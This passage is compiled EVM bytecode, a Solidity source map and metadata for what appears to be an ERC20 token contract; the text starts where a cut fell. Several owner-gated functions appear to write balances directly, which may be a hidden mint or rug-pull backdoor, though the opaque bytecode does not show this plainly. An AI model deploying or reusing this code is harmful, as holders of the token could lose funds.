180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c97906119e9565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce9919061182a565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d73919061160d565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e119190610fcd565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610e6182610e1f565b610e6b8185610e29565b9350610e7b818560208601610e39565b610e8481610e47565b840191505092915050565b5f6020820190508181035f830152610ea78184610e57565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ee982610ec0565b9050919050565b610ef981610edf565b8114610f03575f80fd5b50565b5f81359050610f1481610ef0565b92915050565b5f819050919050565b610f2c81610f1a565b8114610f36575f80fd5b50565b5f81359050610f4781610f23565b92915050565b5f8060408385031215610f6357610f62610eb8565b5b5f610f7085828601610f06565b9250506020610f8185828601610f39565b9150509250929050565b5f8115159050919050565b610f9f81610f8b565b82525050565b5f602082019050610fb85f830184610f96565b92915050565b610fc781610f1a565b82525050565b5f602082019050610fe05f830184610fbe565b92915050565b5f805f60608486031215610ffd57610ffc610eb8565b5b5f61100a86828701610f06565b935050602061101b86828701610f06565b925050604061102c86828701610f39565b9150509250925092565b5f60ff82169050919050565b61104b81611036565b82525050565b5f6020820190506110645f830184611042565b92915050565b5f6020828403121561107f5761107e610eb8565b5b5f61108c84828501610f06565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6110cf82610e47565b810181811067ffffffffffffffff821117156110ee576110ed611099565b5b80604052505050565b5f611100610eaf565b905061110c82826110c6565b919050565b5f67ffffffffffffffff82111561112b5761112a611099565b5b602082029050602081019050919050565b5f80fd5b5f61115261114d84611111565b6110f7565b905080838252602082019050602084028301858111156111755761117461113c565b5b835b8181101561119e578061118a8882610f06565b845260208401935050602081019050611177565b5050509392505050565b5f82601f8301126111bc576111bb611095565b5b81356111cc848260208601611140565b91505092915050565b5f67ffffffffffffffff8211156111ef576111ee611099565b5b602082029050602081019050919050565b5f61121261120d846111d5565b6110f7565b905080838252602082019050602084028301858111156112355761123461113c565b5b835b8181101561125e578061124a8882610f39565b845260208401935050602081019050611237565b5050509392505050565b5f82601f83011261127c5761127b611095565b5b813561128c848260208601611200565b91505092915050565b5f80604083850312156112ab576112aa610eb8565b5b5f83013567ffffffffffffffff8111156112c8576112c7610ebc565b5b6112d4858286016111a8565b925050602083013567ffffffffffffffff8111156112f5576112f4610ebc565b5b61130185828601611268565b9150509250929050565b5f602082840312156113205761131f610eb8565b5b5f61132d84828501610f39565b91505092915050565b5f806040838503121561134c5761134b610eb8565b5b5f61135985828601610f06565b925050602061136a85828601610f06565b9150509250929050565b61137d81610edf565b82525050565b5f6020820190506113965f830184611374565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113e057607f821691505b6020821081036113f3576113f261139c565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156114a85780860481111561148457611483611426565b5b60018516156114935780820291505b80810290506114a185611453565b9450611468565b94509492505050565b5f826114c0576001905061157b565b816114cd575f905061157b565b81600181146114e357600281146114ed5761151c565b600191505061157b565b60ff8411156114ff576114fe611426565b5b8360020a91508482111561151657611515611426565b5b5061157b565b5060208310610133831016604e8410600b84101617156115515782820a90508381111561154c5761154b611426565b5b61157b565b61155e848484600161145f565b9250905081840481111561157557611574611426565b5b81810290505b9392505050565b5f61158c82610f1a565b915061159783611036565b92506115c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846114b1565b905092915050565b5f6115d682610f1a565b91506115e183610f1a565b92508282026115ef81610f1a565b9150828204841483151761160657611605611426565b5b5092915050565b5f61161782610f1a565b915061162283610f1a565b925082820190508082111561163a57611639611426565b5b92915050565b5f6040820190506116535f830185611374565b6116606020830184611374565b9392505050565b5f8151905061167581610ef0565b92915050565b5f602082840312156116905761168f610eb8565b5b5f61169d84828501611667565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611700602483610e29565b915061170b826116a6565b604082019050919050565b5f6020820190508181035f83015261172d816116f4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61178e602283610e29565b915061179982611734565b604082019050919050565b5f6020820190508181035f8301526117bb81611782565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6117f6601d83610e29565b9150611801826117c2565b602082019050919050565b5f6020820190508181035f830152611823816117ea565b9050919050565b5f61183482610f1a565b915061183f83610f1a565b925082820390508181111561185757611856611426565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6118b7602683610e29565b91506118c28261185d565b604082019050919050565b5f6020820190508181035f8301526118e4816118ab565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611945602583610e29565b9150611950826118eb565b604082019050919050565b5f6020820190508181035f83015261197281611939565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119d3602383610e29565b91506119de82611979565b604082019050919050565b5f6020820190508181035f830152611a00816119c7565b905091905056fea264697066735822122014076d3fa24b3f3564150facad1fc5758f9ebaf8cad2f8cd35230a41be9ea23864736f6c63430008190033

3500:4763:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4886:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6457:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4506:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6615:285;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4634:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5598:223;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5303:268;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4750:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4368:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4999:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5831:388;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5155:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6227:218;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4886:83;4923:13;4956:5;4949:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4886:83;:::o;6457:150::-;6523:4;6540:37;6549:10;6561:7;6570:6;6540:8;:37::i;:::-;6595:4;6588:11;;6457:150;;;;:::o;4506:86::-;4550:7;4577;;4570:14;;4506:86;:::o;6615:285::-;6738:4;6755:15;6773:10;6755:28;;6794:38;6810:4;6816:7;6825:6;6794:15;:38::i;:::-;6843:27;6853:4;6859:2;6863:6;6843:9;:27::i;:::-;6888:4;6881:11;;;6615:285;;;;;:::o;4634:91::-;4683:5;4708:9;;;;;;;;;;;4701:16;;4634:91;:::o;5598:223::-;5659:10;5649:20;;:6;;;;;;;;;;;:20;;;:35;;;;;5683:1;5673:11;;:6;;;;;;;;;;;:11;;;;5649:35;:51;;;;;5699:1;5688:12;;:7;:5;:7::i;:::-;:12;;;;5649:51;:102;;;;;5709:42;5704:47;;:1;:47;;;;5649:102;5646:167;;;5782:11;;5767:9;:12;5777:1;5767:12;;;;;;;;;;;;;;;:26;;;;5646:167;;;;5598:223;:::o;5303:268::-;5399:10;5389:20;;:6;;;;;;;;;;;:20;;;5386:173;;5430:6;5426:117;5446:5;:12;5442:1;:16;5426:117;;;5484:43;5494:10;5506:5;5512:1;5506:8;;;;;;;;:::i;:::-;;;;;;;;5516:7;5524:1;5516:10;;;;;;;;:::i;:::-;;;;;;;;5484:9;:43::i;:::-;5460:3;;;;;;;5426:117;;;;5386:173;5303:268;;:::o;4750:110::-;4807:7;4834:9;:18;4844:7;4834:18;;;;;;;;;;;;;;;;4827:25;;4750:110;;;:::o;4368:88::-;4408:13;4441:7;4434:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4368:88;:::o;4999:142::-;5061:4;5078:33;5088:10;5100:2;5104:6;5078:9;:33::i;:::-;5129:4;5122:11;;4999:142;;;;:::o;5831:388::-;5898:10;5888:20;;:6;;;;;;;;;;;:20;;;5885:321;;5925:19;5947:1;5925:23;;6000:9;;;;;;;;;;;5995:2;:14;;;;:::i;:::-;5990:1;5986;5977:6;:10;;;;:::i;:::-;:14;;;;:::i;:::-;:32;;;;:::i;:::-;5963:46;;6024:17;6044:11;6024:31;;6070:18;6091:10;6070:31;;6116:17;6136:10;6116:30;;6185:9;6161;:20;6171:9;6161:20;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;5910:296;;;;5885:321;5831:388;:::o;5155:134::-;5227:7;5254:11;:18;5266:5;5254:18;;;;;;;;;;;;;;;:27;5273:7;5254:27;;;;;;;;;;;;;;;;5247:34;;5155:134;;;;:::o;6227:218::-;6273:7;6318:42;6300:69;;;6378:42;6431:4;6300:137;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6293:144;;6227:218;:::o;6916:378::-;7069:1;7052:19;;:5;:19;;;7044:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7150:1;7131:21;;:7;:21;;;7123:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7232:6;7202:11;:18;7214:5;7202:18;;;;;;;;;;;;;;;:27;7221:7;7202:27;;;;;;;;;;;;;;;:36;;;;7270:7;7254:32;;7263:5;7254:32;;;7279:6;7254:32;;;;;;:::i;:::-;;;;;;;;6916:378;;;:::o;7851:409::-;7986:24;8013:25;8023:5;8030:7;8013:9;:25::i;:::-;7986:52;;8073:17;8053:16;:37;8049:204;;8135:6;8115:16;:26;;8107:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8190:51;8199:5;8206:7;8234:6;8215:16;:25;;;;:::i;:::-;8190:8;:51::i;:::-;8049:204;7975:285;7851:409;;;:::o;7304:538::-;7427:15;7445:9;:15;7455:4;7445:15;;;;;;;;;;;;;;;;7427:33;;7490:6;7479:7;:17;;7471:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7574:1;7558:18;;:4;:18;;;7550:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7651:1;7637:16;;:2;:16;;;7629:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7738:6;7722:9;:15;7732:4;7722:15;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;7704:9;:15;7714:4;7704:15;;;;;;;;;;;;;;;:40;;;;7785:6;7771:9;:13;7781:2;7771:13;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;7755:9;:13;7765:2;7755:13;;;;;;;;;;;;;;;:36;;;;7822:2;7807:26;;7816:4;7807:26;;;7826:6;7807:26;;;;;;:::i;:::-;;;;;;;;7416:426;7304:538;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1242:75::-;1275:6;1308:2;1302:9;1292:19;;1242:75;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:117::-;5190:1;5187;5180:12;5204:180;5252:77;5249:1;5242:88;5349:4;5346:1;5339:15;5373:4;5370:1;5363:15;5390:281;5473:27;5495:4;5473:27;:::i;:::-;5465:6;5461:40;5603:6;5591:10;5588:22;5567:18;5555:10;5552:34;5549:62;5546:88;;;5614:18;;:::i;:::-;5546:88;5654:10;5650:2;5643:22;5433:238;5390:281;;:::o;5677:129::-;5711:6;5738:20;;:::i;:::-;5728:30;;5767:33;5795:4;5787:6;5767:33;:::i;:::-;5677:129;;;:::o;5812:311::-;5889:4;5979:18;5971:6;5968:30;5965:56;;;6001:18;;:::i;:::-;5965:56;6051:4;6043:6;6039:17;6031:25;;6111:4;6105;6101:15;6093:23;;5812:311;;;:::o;6129:117::-;6238:1;6235;6228:12;6269:710;6365:5;6390:81;6406:64;6463:6;6406:64;:::i;:::-;6390:81;:::i;:::-;6381:90;;6491:5;6520:6;6513:5;6506:21;6554:4;6547:5;6543:16;6536:23;;6607:4;6599:6;6595:17;6587:6;6583:30;6636:3;6628:6;6625:15;6622:122;;;6655:79;;:::i;:::-;6622:122;6770:6;6753:220;6787:6;6782:3;6779:15;6753:220;;;6862:3;6891:37;6924:3;6912:10;6891:37;:::i;:::-;6886:3;6879:50;6958:4;6953:3;6949:14;6942:21;;6829:144;6813:4;6808:3;6804:14;6797:21;;6753:220;;;6757:21;6371:608;;6269:710;;;;;:::o;7002:370::-;7073:5;7122:3;7115:4;7107:6;7103:17;7099:27;7089:122;;7130:79;;:::i;:::-;7089:122;7247:6;7234:20;7272:94;7362:3;7354:6;7347:4;7339:6;7335:17;7272:94;:::i;:::-;7263:103;;7079:293;7002:370;;;;:::o;7378:311::-;7455:4;7545:18;7537:6;7534:30;7531:56;;;7567:18;;:::i;:::-;7531:56;7617:4;7609:6;7605:17;7597:25;;7677:4;7671;7667:15;7659:23;;7378:311;;;:::o;7712:710::-;7808:5;7833:81;7849:64;7906:6;7849:64;:::i;:::-;7833:81;:::i;:::-;7824:90;;7934:5;7963:6;7956:5;7949:21;7997:4;7990:5;7986:16;7979:23;;8050:4;8042:6;8038:17;8030:6;8026:30;8079:3;8071:6;8068:15;8065:122;;;8098:79;;:::i;:::-;8065:122;8213:6;8196:220;8230:6;8225:3;8222:15;8196:220;;;8305:3;8334:37;8367:3;8355:10;8334:37;:::i;:::-;8329:3;8322:50;8401:4;8396:3;8392:14;8385:21;;8272:144;8256:4;8251:3;8247:14;8240:21;;8196:220;;;8200:21;7814:608;;7712:710;;;;;:::o;8445:370::-;8516:5;8565:3;8558:4;8550:6;8546:17;8542:27;8532:122;;8573:79;;:::i;:::-;8532:122;8690:6;8677:20;8715:94;8805:3;8797:6;8790:4;8782:6;8778:17;8715:94;:::i;:::-;8706:103;;8522:293;8445:370;;;;:::o;8821:894::-;8939:6;8947;8996:2;8984:9;8975:7;8971:23;8967:32;8964:119;;;9002:79;;:::i;:::-;8964:119;9150:1;9139:9;9135:17;9122:31;9180:18;9172:6;9169:30;9166:117;;;9202:79;;:::i;:::-;9166:117;9307:78;9377:7;9368:6;9357:9;9353:22;9307:78;:::i;:::-;9297:88;;9093:302;9462:2;9451:9;9447:18;9434:32;9493:18;9485:6;9482:30;9479:117;;;9515:79;;:::i;:::-;9479:117;9620:78;9690:7;9681:6;9670:9;9666:22;9620:78;:::i;:::-;9610:88;;9405:303;8821:894;;;;;:::o;9721:329::-;9780:6;9829:2;9817:9;9808:7;9804:23;9800:32;9797:119;;;9835:79;;:::i;:::-;9797:119;9955:1;9980:53;10025:7;10016:6;10005:9;10001:22;9980:53;:::i;:::-;9970:63;;9926:117;9721:329;;;;:::o;10056:474::-;10124:6;10132;10181:2;10169:9;10160:7;10156:23;10152:32;10149:119;;;10187:79;;:::i;:::-;10149:119;10307:1;10332:53;10377:7;10368:6;10357:9;10353:22;10332:53;:::i;:::-;10322:63;;10278:117;10434:2;10460:53;10505:7;10496:6;10485:9;10481:22;10460:53;:::i;:::-;10450:63;;10405:118;10056:474;;;;;:::o;10536:118::-;10623:24;10641:5;10623:24;:::i;:::-;10618:3;10611:37;10536:118;;:::o;10660:222::-;10753:4;10791:2;10780:9;10776:18;10768:26;;10804:71;10872:1;10861:9;10857:17;10848:6;10804:71;:::i;:::-;10660:222;;;;:::o;10888:180::-;10936:77;10933:1;10926:88;11033:4;11030:1;11023:15;11057:4;11054:1;11047:15;11074:320;11118:6;11155:1;11149:4;11145:12;11135:22;;11202:1;11196:4;11192:12;11223:18;11213:81;;11279:4;11271:6;11267:17;11257:27;;11213:81;11341:2;11333:6;11330:14;11310:18;11307:38;11304:84;;11360:18;;:::i;:::-;11304:84;11125:269;11074:320;;;:::o;11400:180::-;11448:77;11445:1;11438:88;11545:4;11542:1;11535:15;11569:4;11566:1;11559:15;11586:180;11634:77;11631:1;11624:88;11731:4;11728:1;11721:15;11755:4;11752:1;11745:15;11772:102;11814:8;11861:5;11858:1;11854:13;11833:34;;11772:102;;;:::o;11880:848::-;11941:5;11948:4;11972:6;11963:15;;11996:5;11987:14;;12010:712;12031:1;12021:8;12018:15;12010:712;;;12126:4;12121:3;12117:14;12111:4;12108:24;12105:50;;;12135:18;;:::i;:::-;12105:50;12185:1;12175:8;12171:16;12168:451;;;12600:4;12593:5;12589:16;12580:25;;12168:451;12650:4;12644;12640:15;12632:23;;12680:32;12703:8;12680:32;:::i;:::-;12668:44;;12010:712;;;11880:848;;;;;;;:::o;12734:1073::-;12788:5;12979:8;12969:40;;13000:1;12991:10;;13002:5;;12969:40;13028:4;13018:36;;13045:1;13036:10;;13047:5;;13018:36;13114:4;13162:1;13157:27;;;;13198:1;13193:191;;;;13107:277;;13157:27;13175:1;13166:10;;13177:5;;;13193:191;13238:3;13228:8;13225:17;13222:43;;;13245:18;;:::i;:::-;13222:43;13294:8;13291:1;13287:16;13278:25;;13329:3;13322:5;13319:14;13316:40;;;13336:18;;:::i;:::-;13316:40;13369:5;;;13107:277;;13493:2;13483:8;13480:16;13474:3;13468:4;13465:13;13461:36;13443:2;13433:8;13430:16;13425:2;13419:4;13416:12;13412:35;13396:111;13393:246;;;13549:8;13543:4;13539:19;13530:28;;13584:3;13577:5;13574:14;13571:40;;;13591:18;;:::i;:::-;13571:40;13624:5;;13393:246;13664:42;13702:3;13692:8;13686:4;13683:1;13664:42;:::i;:::-;13649:57;;;;13738:4;13733:3;13729:14;13722:5;13719:25;13716:51;;;13747:18;;:::i;:::-;13716:51;13796:4;13789:5;13785:16;13776:25;;12734:1073;;;;;;:::o;13813:281::-;13871:5;13895:23;13913:4;13895:23;:::i;:::-;13887:31;;13939:25;13955:8;13939:25;:::i;:::-;13927:37;;13983:104;14020:66;14010:8;14004:4;13983:104;:::i;:::-;13974:113;;13813:281;;;;:::o;14100:410::-;14140:7;14163:20;14181:1;14163:20;:::i;:::-;14158:25;;14197:20;14215:1;14197:20;:::i;:::-;14192:25;;14252:1;14249;14245:9;14274:30;14292:11;14274:30;:::i;:::-;14263:41;;14453:1;14444:7;14440:15;14437:1;14434:22;14414:1;14407:9;14387:83;14364:139;;14483:18;;:::i;:::-;14364:139;14148:362;14100:410;;;;:::o;14516:191::-;14556:3;14575:20;14593:1;14575:20;:::i;:::-;14570:25;;14609:20;14627:1;14609:20;:::i;:::-;14604:25;;14652:1;14649;14645:9;14638:16;;14673:3;14670:1;14667:10;14664:36;;;14680:18;;:::i;:::-;14664:36;14516:191;;;;:::o;14713:332::-;14834:4;14872:2;14861:9;14857:18;14849:26;;14885:71;14953:1;14942:9;14938:17;14929:6;14885:71;:::i;:::-;14966:72;15034:2;15023:9;15019:18;15010:6;14966:72;:::i;:::-;14713:332;;;;;:::o;15051:143::-;15108:5;15139:6;15133:13;15124:22;;15155:33;15182:5;15155:33;:::i;:::-;15051:143;;;;:::o;15200:351::-;15270:6;15319:2;15307:9;15298:7;15294:23;15290:32;15287:119;;;15325:79;;:::i;:::-;15287:119;15445:1;15470:64;15526:7;15517:6;15506:9;15502:22;15470:64;:::i;:::-;15460:74;;15416:128;15200:351;;;;:::o;15557:223::-;15697:34;15693:1;15685:6;15681:14;15674:58;15766:6;15761:2;15753:6;15749:15;15742:31;15557:223;:::o;15786:366::-;15928:3;15949:67;16013:2;16008:3;15949:67;:::i;:::-;15942:74;;16025:93;16114:3;16025:93;:::i;:::-;16143:2;16138:3;16134:12;16127:19;;15786:366;;;:::o;16158:419::-;16324:4;16362:2;16351:9;16347:18;16339:26;;16411:9;16405:4;16401:20;16397:1;16386:9;16382:17;16375:47;16439:131;16565:4;16439:131;:::i;:::-;16431:139;;16158:419;;;:::o;16583:221::-;16723:34;16719:1;16711:6;16707:14;16700:58;16792:4;16787:2;16779:6;16775:15;16768:29;16583:221;:::o;16810:366::-;16952:3;16973:67;17037:2;17032:3;16973:67;:::i;:::-;16966:74;;17049:93;17138:3;17049:93;:::i;:::-;17167:2;17162:3;17158:12;17151:19;;16810:366;;;:::o;17182:419::-;17348:4;17386:2;17375:9;17371:18;17363:26;;17435:9;17429:4;17425:20;17421:1;17410:9;17406:17;17399:47;17463:131;17589:4;17463:131;:::i;:::-;17455:139;;17182:419;;;:::o;17607:179::-;17747:31;17743:1;17735:6;17731:14;17724:55;17607:179;:::o;17792:366::-;17934:3;17955:67;18019:2;18014:3;17955:67;:::i;:::-;17948:74;;18031:93;18120:3;18031:93;:::i;:::-;18149:2;18144:3;18140:12;18133:19;;17792:366;;;:::o;18164:419::-;18330:4;18368:2;18357:9;18353:18;18345:26;;18417:9;18411:4;18407:20;18403:1;18392:9;18388:17;18381:47;18445:131;18571:4;18445:131;:::i;:::-;18437:139;;18164:419;;;:::o;18589:194::-;18629:4;18649:20;18667:1;18649:20;:::i;:::-;18644:25;;18683:20;18701:1;18683:20;:::i;:::-;18678:25;;18727:1;18724;18720:9;18712:17;;18751:1;18745:4;18742:11;18739:37;;;18756:18;;:::i;:::-;18739:37;18589:194;;;;:::o;18789:225::-;18929:34;18925:1;18917:6;18913:14;18906:58;18998:8;18993:2;18985:6;18981:15;18974:33;18789:225;:::o;19020:366::-;19162:3;19183:67;19247:2;19242:3;19183:67;:::i;:::-;19176:74;;19259:93;19348:3;19259:93;:::i;:::-;19377:2;19372:3;19368:12;19361:19;;19020:366;;;:::o;19392:419::-;19558:4;19596:2;19585:9;19581:18;19573:26;;19645:9;19639:4;19635:20;19631:1;19620:9;19616:17;19609:47;19673:131;19799:4;19673:131;:::i;:::-;19665:139;;19392:419;;;:::o;19817:224::-;19957:34;19953:1;19945:6;19941:14;19934:58;20026:7;20021:2;20013:6;20009:15;20002:32;19817:224;:::o;20047:366::-;20189:3;20210:67;20274:2;20269:3;20210:67;:::i;:::-;20203:74;;20286:93;20375:3;20286:93;:::i;:::-;20404:2;20399:3;20395:12;20388:19;;20047:366;;;:::o;20419:419::-;20585:4;20623:2;20612:9;20608:18;20600:26;;20672:9;20666:4;20662:20;20658:1;20647:9;20643:17;20636:47;20700:131;20826:4;20700:131;:::i;:::-;20692:139;;20419:419;;;:::o;20844:222::-;20984:34;20980:1;20972:6;20968:14;20961:58;21053:5;21048:2;21040:6;21036:15;21029:30;20844:222;:::o;21072:366::-;21214:3;21235:67;21299:2;21294:3;21235:67;:::i;:::-;21228:74;;21311:93;21400:3;21311:93;:::i;:::-;21429:2;21424:3;21420:12;21413:19;;21072:366;;;:::o;21444:419::-;21610:4;21648:2;21637:9;21633:18;21625:26;;21697:9;21691:4;21687:20;21683:1;21672:9;21668:17;21661:47;21725:131;21851:4;21725:131;:::i;:::-;21717:139;;21444:419;;;:::o

ipfs://14076d3fa24b3f3564150facad1fc5758f9ebaf8cad2f8cd35230a41be9ea238